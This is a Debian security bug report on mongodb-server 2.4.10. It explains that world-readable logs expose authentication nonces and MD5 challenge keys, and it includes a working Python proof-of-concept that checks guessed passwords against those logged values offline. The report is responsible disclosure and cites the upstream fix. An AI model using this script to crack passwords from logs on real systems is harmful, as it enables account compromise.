Package: mongodb-server
Version: 2.4.10-5
Severity: grave
Tags: security

There's a bugfix[1] from 2013 for an issue that wasn't announced for
security that's currently not included in debian stable.

[1]: https://jira.mongodb.org/browse/SERVER-9476

Current mongodb in stable logs authentication attempts like this:

        Sat Jul 30 21:57:08.657 [initandlisten] connection accepted from 
127.0.0.1:62883 #9 (1 connection now open)
        Sat Jul 30 21:57:16.677 [conn9]  authenticate db: test { authenticate: 
1, nonce: "7222f1306039344e", user: "foo", key: 
"84bed68ebbe64358e836186f95315328" }
        Sat Jul 30 21:57:16.677 [conn9] auth: couldn't find user foo@test, 
test.system.users
        Sat Jul 30 21:57:18.385 [conn9] end connection 127.0.0.1:62883 (0 
connections now open)

The logfile is world readable for all local users on a default
installation. The above snippet maps to a login attempt as foo:bar.

key= is the resulting md5 hash of a function that takes nonce=, user=
and password as parameters

Below is a script that's able to take the parameters from the logfile
and verify if a given password was used for authentication, making it
suitable for offline bruteforce. (results may vary depending on password
quality, of course)

```
#!/usr/bin/env python3
'''
Login attempt with foo:bar

Sat Jul 30 21:57:08.657 [initandlisten] connection accepted from 
127.0.0.1:62883 #9 (1 connection now open)
Sat Jul 30 21:57:16.677 [conn9]  authenticate db: test { authenticate: 1, 
nonce: "7222f1306039344e", user: "foo", key: "84bed68ebbe64358e836186f95315328" 
}
Sat Jul 30 21:57:16.677 [conn9] auth: couldn't find user foo@test, 
test.system.users
Sat Jul 30 21:57:18.385 [conn9] end connection 127.0.0.1:62883 (0 connections 
now open)

$ ./mongobrute.py 7222f1306039344e foo 84bed68ebbe64358e836186f95315328 bar
[+] Password matches challenge key: b'bar'
$
'''
from hashlib import md5
import sys


def createPasswordDigest(username, clearTextPassword):
    return md5(username + b':mongo:' + clearTextPassword).hexdigest()


def recalculateChallenge(nonce, user, password):
    digested = createPasswordDigest(user, password)
    digested_bytes = bytes(digested, 'utf-8')
    return md5(nonce + user + digested_bytes).hexdigest()


if __name__ == '__main__':
    try:
        nonce = bytes(sys.argv[1], 'utf-8')
        user = bytes(sys.argv[2], 'utf-8')
        key = sys.argv[3]
        password = bytes(sys.argv[4], 'utf-8')
    except IndexError:
        print('Usage: %s <nonce> <user> <key> <password-to-verify>' % 
sys.argv[0], file=sys.stderr)
        exit(2)

    challenge = recalculateChallenge(nonce, user, password)

    if challenge == key:
        print('[+] Password matches challenge key: %r' % password)
    else:
        print('[-] Password does not match challenge key: %r' % password)
        exit(1)
```

This is a slightly modified version of the mail I sent to security@ for
responsible disclosure and got the go-ahead to post it on the public
bugtracker.

This got fixed with f85ceb1 by upstream (released in 2.5.4), stretch
isn't affected.

Thanks.

Reply via email to